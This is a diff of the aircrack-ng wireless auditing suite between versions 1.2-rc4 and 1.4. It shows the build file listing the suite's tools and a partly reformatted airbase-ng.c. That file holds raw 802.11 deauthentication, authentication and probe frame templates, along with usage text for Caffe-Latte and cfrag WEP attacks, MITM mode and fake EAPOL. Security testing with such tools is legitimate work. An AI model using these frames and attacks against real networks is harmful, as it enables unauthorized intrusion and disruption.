+SRC_IV          += sha1-git.c
+SRC_AR          += sha1-git.c
+SRC_ADU         += sha1-git.c
+SRC_AT          += sha1-git.c
+SRC_AB          += sha1-git.c
+SRC_AL          += sha1-git.c
+SRC_WS          += sha1-git.c
+SRC_TT          += sha1-git.c
+SRC_BS          += sha1-git.c
+SRC_AV          += sha1-git.c
+endif
+
+LIBAIRCRACK_CRYPTO = aircrack-crypto/libaircrack-crypto.la
+LIBAIRCRACK_CRYPTO_LIBS = -Laircrack-crypto -laircrack-crypto
+
+LIBAIRCRACK_CRYPTO_X86_AVX2 = aircrack-crypto/libaircrack-crypto-x86-avx2.la
+LIBAIRCRACK_CRYPTO_X86_AVX2_LIBS = -Laircrack-crypto -laircrack-crypto-x86-avx2
+
+LIBAIRCRACK_CRYPTO_X86_AVX = aircrack-crypto/libaircrack-crypto-x86-avx.la
+LIBAIRCRACK_CRYPTO_X86_AVX_LIBS = -Laircrack-crypto -laircrack-crypto-x86-avx
+
+LIBAIRCRACK_CRYPTO_X86_SSE2 = aircrack-crypto/libaircrack-crypto-x86-sse2.la
+LIBAIRCRACK_CRYPTO_X86_SSE2_LIBS = -Laircrack-crypto -laircrack-crypto-x86-sse2
+
+LIBAIRCRACK_UTIL = aircrack-util/libaircrack-util.la
+LIBAIRCRACK_UTIL_LIBS = -Laircrack-util -laircrack-util
+
+LIBAIRCRACK_OSDEP		= aircrack-osdep/libaircrack-osdep.la
+LIBAIRCRACK_OSDEP_LIBS	= -Laircrack-osdep -laircrack-osdep
+if CYGWIN
+LIBAIRCRACK_OSDEP_LIBS	+= -liphlpapi -lsetupapi -luuid
+endif
+
+COMMON_CFLAGS = $(LIBAC_CFLAGS) $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
+COMMON_LDADD = $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+
+bin_PROGRAMS = aircrack-ng \
+               airdecap-ng \
+               packetforge-ng \
+               ivstools \
+               kstats \
+               makeivs-ng \
+               airdecloak-ng
+
+if EXPERIMENTAL
+if HAVE_PCAP
+bin_PROGRAMS += besside-ng-crawler
+endif
+endif
+
+bin_PROGRAMS += wpaclean
+
+sbin_PROGRAMS = airbase-ng \
+                aireplay-ng \
+                airodump-ng \
+                airserv-ng \
+                airtun-ng
+
+if HAVE_SQLITE3
+bin_PROGRAMS += airolib-ng
+endif
+
+if EXPERIMENTAL
+bin_PROGRAMS += buddy-ng
+
+sbin_PROGRAMS += airventriloquist-ng
+
+if HAVE_AIRPCAP_OR_PCAP
+sbin_PROGRAMS += besside-ng \
+                 easside-ng \
+                 tkiptun-ng \
+                 wesside-ng
+endif
+endif
+
+aircrack_ng_SOURCES = $(SRC_AC_ALL) $(SRC_LINECOUNT) $(LIBAIRCRACK_UTIL)
+aircrack_ng_CFLAGS = $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) $(LIBPTW_CFLAGS)
+aircrack_ng_LDADD = $(LIBAIRCRACK_UTIL_LIBS) $(LIBAC_LIBS) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBPTW_LIBS) $(COMMON_LDADD) $(CRYPTO_LIBS) $(HWLOC_LIBS)
+
+if STATIC_BUILD
+aircrack_ng_CFLAGS += -DDYNAMIC=0
+aircrack_ng_LDADD += $(LIBAIRCRACK_CRYPTO@SIMD_SUFFIX@_LIBS)
+else
+aircrack_ng_LDFLAGS = -rdynamic
+endif
+
+airdecap_ng_SOURCES = $(SRC_AD) $(LIBAIRCRACK_UTIL)
+airdecap_ng_CFLAGS = $(COMMON_CFLAGS)
+airdecap_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+packetforge_ng_SOURCES = $(SRC_PF) $(LIBAIRCRACK_UTIL)
+packetforge_ng_CFLAGS = $(COMMON_CFLAGS)
+packetforge_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+aireplay_ng_SOURCES = $(SRC_AR) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+aireplay_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+aireplay_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airodump_ng_SOURCES = $(SRC_ADU) $(LIBAIRCRACK_OSDEP) $(LIBMCS) $(LIBAIRCRACK_UTIL)
+airodump_ng_CFLAGS = $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(LIBNL_CFLAGS)
+airodump_ng_LDADD = $(COMMON_LDADD) $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airserv_ng_SOURCES = $(SRC_AS) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+airserv_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airserv_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airtun_ng_SOURCES = $(SRC_AT) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+airtun_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airtun_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+ivstools_SOURCES = $(SRC_IV) $(LIBAIRCRACK_UTIL)
+ivstools_CFLAGS = $(COMMON_CFLAGS)
+ivstools_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+kstats_SOURCES = kstats.c
+kstats_CFLAGS = $(LIBAC_CFLAGS) $(PTHREAD_CFLAGS)
+kstats_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS)
+
+wesside_ng_SOURCES = $(SRC_WS) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+wesside_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+wesside_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+easside_ng_SOURCES = $(SRC_ES) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+easside_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+easside_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+buddy_ng_SOURCES = $(SRC_BUDDY) $(LIBAIRCRACK_UTIL)
+buddy_ng_CFLAGS = $(LIBAC_CFLAGS) $(PTHREAD_CFLAGS)
+buddy_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+besside_ng_SOURCES = $(SRC_BS) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+besside_ng_CFLAGS = $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(LIBNL_CFLAGS)
+besside_ng_LDADD = $(COMMON_LDADD) $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+besside_ng_crawler_SOURCES = $(SRC_BC)
+besside_ng_crawler_CFLAGS = $(COMMON_CFLAGS) $(PCAP_CFLAGS)
+besside_ng_crawler_LDADD = $(COMMON_LDADD) $(PCAP_LIBS) $(LIBAC_LIBS) $(CRYPTO_LIBS)
+
+makeivs_ng_SOURCES = $(SRC_MI) $(LIBAIRCRACK_UTIL)
+makeivs_ng_CFLAGS = $(COMMON_CFLAGS)
+makeivs_ng_LDADD = $(COMMON_LDADD) $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airolib_ng_SOURCES = $(SRC_AL) $(LIBCOW) $(LIBAIRCRACK_UTIL)
+airolib_ng_CFLAGS = $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) -DHAVE_REGEXP
+airolib_ng_LDADD = $(COMMON_LDADD) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBAC_LIBS) $(LIBCOW_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airbase_ng_SOURCES = $(SRC_AB) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+airbase_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airbase_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airdecloak_ng_SOURCES = $(SRC_AU) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+airdecloak_ng_CFLAGS = $(COMMON_CFLAGS)
+airdecloak_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+tkiptun_ng_SOURCES = $(SRC_TT) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+tkiptun_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+tkiptun_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+wpaclean_SOURCES = $(SRC_WC) $(LIBAIRCRACK_OSDEP)
+wpaclean_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS) $(LIBAIRCRACK_UTIL_CFLAGS)
+wpaclean_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+airventriloquist_ng_SOURCES = $(SRC_AV) $(LIBAIRCRACK_OSDEP) $(LIBAIRCRACK_UTIL)
+airventriloquist_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
+airventriloquist_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAC_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_UTIL_LIBS) $(CRYPTO_LIBS)
+
+libaclib_la_SOURCES = $(SRC_ACLIB)
+libaclib_la_CFLAGS = $(COMMON_CFLAGS) $(LIBAIRCRACK_UTIL_CFLAGS)
+libaclib_la_LIBADD = $(LIBAIRCRACK_UTIL_LIBS)
+if !STATIC_CRYPTO
+libaclib_la_LIBADD += $(LIBAIRCRACK_UTIL_LIBS)
+endif
+
+libcow_la_SOURCES = $(SRC_COW)
+libcow_la_CFLAGS = $(COMMON_CFLAGS) $(LIBCOW_CFLAGS)
+if !STATIC_CRYPTO
+libcow_la_LIBADD = $(COMMON_LDADD)
+endif
+
+libptw_la_SOURCES = $(SRC_PTW)
+libptw_la_CFLAGS = $(COMMON_CFLAGS)
+if !STATIC_CRYPTO
+libptw_la_LIBADD = $(COMMON_LDADD)
+endif
+
+noinst_LTLIBRARIES = libaclib.la libptw.la libcow.la
+
+EXTRA_DIST = wpaclean.c \
+             buddy-ng.c \
+             aircrack-ng.h \
+             version.h \
+             airventriloquist-ng.h \
+             airdecloak-ng.h \
+             airserv-ng.c \
+             besside-ng.c \
+             wkp-frame.h \
+             airolib-ng.c \
+             aircrack-ptw-lib.h \
+             makeivs-ng.c \
+             easside-ng.c \
+             crctable.h \
+             airdecap-ng.c \
+             airodump-ng.h \
+             airbase-ng.c \
+             besside-ng-crawler.c \
+             tkiptun-ng.c \
+             kstats.c \
+             easside.h \
+             aireplay-ng.c \
+             ivstools.c \
+             pcap.h \
+             aircrack-ng.c \
+             airodump-ng.c \
+             crypto.c \
+             airdecloak-ng.c \
+             packetforge-ng.c \
+             airventriloquist-ng.c \
+             uniqueiv.c \
+             gcrypt-openssl-wrapper.h \
+             uniqueiv.h \
+             wesside-ng.c \
+             airtun-ng.c \
+             linecount.h \
+             aircrack-ptw-lib.c \
+             crypto.h \
+             sha1-git.c \
+             sha1-git.h \
+             cowpatty.c \
+             cowpatty.h \
+             session.c \
+             session.h
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/src/airbase-ng.c -> aircrack-ng-1.4.tar.gz/src/airbase-ng.c Changed

@@ -2,7 +2,7 @@
  *  802.11 monitor AP
  *  based on airtun-ng
  *
- *  Copyright (C) 2008-2016 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2008-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2008, 2009 Martin Beck <hirte@aircrack-ng.org>
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -17,7 +17,7 @@
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  *
  *
  *  In addition, as a special exception, the copyright holders give
@@ -35,7 +35,7 @@
  */
 
 #ifdef linux
-    #include <linux/rtc.h>
+#include <linux/rtc.h>
 #endif
 
 #include <sys/types.h>
@@ -64,28 +64,28 @@
 #include "version.h"
 #include "pcap.h"
 #include "crypto.h"
-#include "common.h"
+#include "aircrack-util/common.h"
 #include "eapol.h"
 
-#include "osdep/osdep.h"
-#include "osdep/common.h"
+#include "aircrack-osdep/osdep.h"
+#include "aircrack-util/common.h"
 
 // libgcrypt thread callback definition for libgcrypt < 1.6.0
 #ifdef USE_GCRYPT
-    #if GCRYPT_VERSION_NUMBER < 0x010600
-        GCRY_THREAD_OPTION_PTHREAD_IMPL;
-    #endif
+#if GCRYPT_VERSION_NUMBER < 0x010600
+GCRY_THREAD_OPTION_PTHREAD_IMPL;
+#endif
 #endif
 
 static struct wif *_wi_in, *_wi_out;
 
 #define CRYPT_NONE 0
-#define CRYPT_WEP  1
+#define CRYPT_WEP 1
 
-#define EXT_IN      0x01
-#define EXT_OUT     0x02
+#define EXT_IN 0x01
+#define EXT_OUT 0x02
 
-#define NB_PRB 10       /* size of probed ESSID ring buffer */
+#define NB_PRB 10 /* size of probed ESSID ring buffer */
 #define MAX_CF_XMIT 100
 
 #define TI_MTU 1500
@@ -93,305 +93,307 @@
 
 #define MAX_FRAME_EXTENSION 100
 
-//if not all fragments are available 60 seconds after the last fragment was received, they will be removed
-#define FRAG_TIMEOUT (1000000*60)
-
-#define RTC_RESOLUTION  512
-
-#define ALLOW_MACS      0
-#define BLOCK_MACS      1
-
-#define DEAUTH_REQ      \
-    "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
-
-#define AUTH_REQ        \
-    "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
-
-#define ASSOC_REQ       \
-    "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
-
-#define NULL_DATA       \
-    "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
-
-#define RTS             \
-    "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
-
-#define RATES           \
-    "\x01\x04\x02\x04\x0B\x16"
-
-#define EXTENDED_RATES           \
-    "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ       \
-    "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define PROBE_RSP       \
-    "\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"  \
-    "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define WPA1_TAG        \
-    "\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50"  \
-    "\xf2\x01\x01\x00\x00\x50\xf2\x02"
-
-#define WPA2_TAG        \
-    "\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00"  \
-    "\x00\x0f\xac\x02\x01\x00"
-
-#define ALL_WPA2_TAGS        \
-    "\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f"  \
-    "\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00"  \
-    "\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00"
-
-#define ALL_WPA1_TAGS        \
-    "\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50"  \
-    "\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50"  \
-    "\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02"
-
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac);
-extern int add_crc32(unsigned char* data, int length);
-
-extern const unsigned long int crc_tbl[256];
-
-extern int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length);
-
-char usage[] =
-"\n"
-"  %s - (C) 2008-2015 Thomas d'Otreppe\n"
-"  Original work: Martin Beck\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: airbase-ng <options> <replay interface>\n"
-"\n"
-"  Options:\n"
-"\n"
-"      -a bssid         : set Access Point MAC address\n"
-"      -i iface         : capture packets from this interface\n"
-// "      -y file          : read PRGA from this file\n"
-"      -w WEP key       : use this WEP key to en-/decrypt packets\n"
-// "      -t tods          : send frames to AP (1) or to client (0)\n"
-// "      -r file          : read frames out of pcap file\n"
-"      -h MAC           : source mac for MITM mode\n"
-"      -f disallow      : disallow specified client MACs (default: allow)\n"
-"      -W 0|1           : [don't] set WEP flag in beacons 0|1 (default: auto)\n"
-"      -q               : quiet (do not print statistics)\n"
-"      -v               : verbose (print more messages)\n"
-//"      -M               : M-I-T-M between [specified] clients and bssids\n"
-"      -A               : Ad-Hoc Mode (allows other clients to peer)\n"
-"      -Y in|out|both   : external packet processing\n"
-"      -c channel       : sets the channel the AP is running on\n"
-"      -X               : hidden ESSID\n"
-"      -s               : force shared key authentication (default: auto)\n"
-"      -S               : set shared key challenge length (default: 128)\n"
-"      -L               : Caffe-Latte WEP attack (use if driver can't send frags)\n"
-"      -N               : cfrag WEP attack (recommended)\n"
-"      -x nbpps         : number of packets per second (default: 100)\n"
-"      -y               : disables responses to broadcast probes\n"
-"      -0               : set all WPA,WEP,open tags. can't be used with -z & -Z\n"
-"      -z type          : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104\n"
-"      -Z type          : same as -z, but for WPA2\n"
-"      -V type          : fake EAPOL 1=MD5 2=SHA1 3=auto\n"
-"      -F prefix        : write all sent and received frames into pcap file\n"
-"      -P               : respond to all probes, even when specifying ESSIDs\n"
-"      -I interval      : sets the beacon interval value in ms\n"
-"      -C seconds       : enables beaconing of probed ESSID values (requires -P)\n"
-"      -n hex           : User specified ANonce when doing the 4-way handshake\n"
-"\n"
-"  Filter options:\n"
-"      --bssid MAC      : BSSID to filter/use\n"
-"      --bssids file    : read a list of BSSIDs out of that file\n"
-"      --client MAC     : MAC of client to filter\n"
-"      --clients file   : read a list of MACs out of that file\n"
-"      --essid ESSID    : specify a single ESSID (default: default)\n"
-"      --essids file    : read a list of ESSIDs out of that file\n"
-"\n"
-"      --help           : Displays this usage screen\n"
-"\n";
+// if not all fragments are available 60 seconds after the last fragment was
+// received, they will be removed
+#define FRAG_TIMEOUT (1000000 * 60)
+
+#define RTC_RESOLUTION 512
+
+#define ALLOW_MACS 0
+#define BLOCK_MACS 1
+
+#define DEAUTH_REQ                                                             \
+	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
+
+#define AUTH_REQ                                                               \
+	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
+
+#define ASSOC_REQ                                                              \
+	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+
+#define NULL_DATA                                                              \
+	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+
+#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
+
+#define RATES "\x01\x04\x02\x04\x0B\x16"
+
+#define EXTENDED_RATES "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+#define PROBE_RSP                                                              \
+	"\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+#define WPA1_TAG                                                               \
+	"\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50"         \
+	"\xf2\x01\x01\x00\x00\x50\xf2\x02"
+
+#define WPA2_TAG                                                               \
+	"\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00"         \
+	"\x00\x0f\xac\x02\x01\x00"
+
+#define ALL_WPA2_TAGS                                                          \
+	"\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f"         \
+	"\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00"         \
+	"\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00"
+
+#define ALL_WPA1_TAGS                                                          \
+	"\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50"         \
+	"\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50"         \
+	"\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02"
+
+char usage[]
+	= "\n"
+	  "  %s - (C) 2008-2018 Thomas d'Otreppe\n"
+	  "  Original work: Martin Beck\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: airbase-ng <options> <replay interface>\n"
+	  "\n"
+	  "  Options:\n"
+	  "\n"
+	  "      -a bssid         : set Access Point MAC address\n"
+	  "      -i iface         : capture packets from this interface\n"
+	  // "      -y file          : read PRGA from this file\n"
+	  "      -w WEP key       : use this WEP key to en-/decrypt packets\n"
+	  // "      -t tods          : send frames to AP (1) or to client (0)\n"
+	  // "      -r file          : read frames out of pcap file\n"
+	  "      -h MAC           : source mac for MITM mode\n"
+	  "      -f disallow      : disallow specified client MACs (default: "
+	  "allow)\n"
+	  "      -W 0|1           : [don't] set WEP flag in beacons 0|1 (default: "
+	  "auto)\n"
+	  "      -q               : quiet (do not print statistics)\n"
+	  "      -v               : verbose (print more messages)\n"
+	  //"      -M               : M-I-T-M between [specified] clients and
+	  // bssids\n"
+	  "      -A               : Ad-Hoc Mode (allows other clients to peer)\n"
+	  "      -Y in|out|both   : external packet processing\n"
+	  "      -c channel       : sets the channel the AP is running on\n"
+	  "      -X               : hidden ESSID\n"
+	  "      -s               : force shared key authentication (default: "
+	  "auto)\n"
+	  "      -S               : set shared key challenge length (default: "
+	  "128)\n"
+	  "      -L               : Caffe-Latte WEP attack (use if driver can't "
+	  "send "
+	  "frags)\n"
+	  "      -N               : cfrag WEP attack (recommended)\n"
+	  "      -x nbpps         : number of packets per second (default: 100)\n"
+	  "      -y               : disables responses to broadcast probes\n"
+	  "      -0               : set all WPA,WEP,open tags. can't be used with "
+	  "-z "
+	  "& -Z\n"
+	  "      -z type          : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP "
+	  "5=WEP104\n"
+	  "      -Z type          : same as -z, but for WPA2\n"
+	  "      -V type          : fake EAPOL 1=MD5 2=SHA1 3=auto\n"
+	  "      -F prefix        : write all sent and received frames into pcap "
+	  "file\n"
+	  "      -P               : respond to all probes, even when specifying "
+	  "ESSIDs\n"
+	  "      -I interval      : sets the beacon interval value in ms\n"
+	  "      -C seconds       : enables beaconing of probed ESSID values "
+	  "(requires -P)\n"
+	  "      -n hex           : User specified ANonce when doing the 4-way "
+	  "handshake\n"
+	  "\n"
+	  "  Filter options:\n"
+	  "      --bssid MAC      : BSSID to filter/use\n"
+	  "      --bssids file    : read a list of BSSIDs out of that file\n"
+	  "      --client MAC     : MAC of client to filter\n"
+	  "      --clients file   : read a list of MACs out of that file\n"
+	  "      --essid ESSID    : specify a single ESSID (default: default)\n"
+	  "      --essids file    : read a list of ESSIDs out of that file\n"
+	  "\n"
+	  "      --help           : Displays this usage screen\n"
+	  "\n";
 
 struct options
 {
-    struct ST_info *st_1st, *st_end;
+	struct ST_info *st_1st, *st_end;
 
-    unsigned char r_bssid[6];
-    unsigned char r_dmac[6];
-    unsigned char r_smac[6];
-
-    unsigned char f_bssid[6];
-    unsigned char f_netmask[6];
-
-    char *s_face;
-    char *s_file;
-    unsigned char *prga;
-
-    char *dump_prefix;
-    char *keyout;
-    char *f_cap_name;
-    char *prefix;
-
-    int f_index;            /* outfiles index       */
-    FILE *f_cap;            /* output cap file      */
-    FILE *f_xor;            /* output prga file     */
-    unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
-                               up to 4096Byte */
-    time_t sk_start;
-    int sk_len;
-    int sk_len2;
-
-    int r_nbpps;
-    int prgalen;
-    int tods;
-
-    unsigned char wepkey[64];
-    int weplen, crypt;
-
-    int f_essid;
-    int promiscuous;
-    int beacon_cache;
-    int channel;
-    int setWEP;
-    int quiet;
-    int mitm;
-    int external;
-    int hidden;
-    int interval;
-    int forceska;
-    int skalen;
-    int filter;
-    int caffelatte;
-    int ringbuffer;
-    int adhoc;
-    int nb_arp;
-    int verbose;
-    int wpa1type;
-    int wpa2type;
-    int nobroadprobe;
-    int sendeapol;
-    int allwpa;
-    int cf_count;
-    int cf_attack;
-    int record_data;
-
-    int ti_mtu;         //MTU of tun/tap interface
-    int wif_mtu;        //MTU of wireless interface
-
-    // Fixed nonce
-    int use_fixed_nonce;
-    unsigned char fixed_nonce[32];
-}
-opt;
+	unsigned char r_bssid[6];
+	unsigned char r_dmac[6];
+	unsigned char r_smac[6];
+
+	unsigned char f_bssid[6];
+	unsigned char f_netmask[6];
+
+	char * s_face;
+	char * s_file;
+	unsigned char * prga;
+
+	char * dump_prefix;
+	char * keyout;
+	char * f_cap_name;
+	char * prefix;
+
+	int f_index; /* outfiles index       */
+	FILE * f_cap; /* output cap file      */
+	FILE * f_xor; /* output prga file     */
+	unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
+							   up to 4096Byte */
+	time_t sk_start;
+	int sk_len;
+	int sk_len2;
+
+	int r_nbpps;
+	int prgalen;
+	int tods;
+
+	unsigned char wepkey[64];
+	int weplen, crypt;
+
+	int f_essid;
+	int promiscuous;
+	int beacon_cache;
+	int channel;
+	int setWEP;
+	int quiet;
+	int mitm;
+	int external;
+	int hidden;
+	int interval;
+	int forceska;
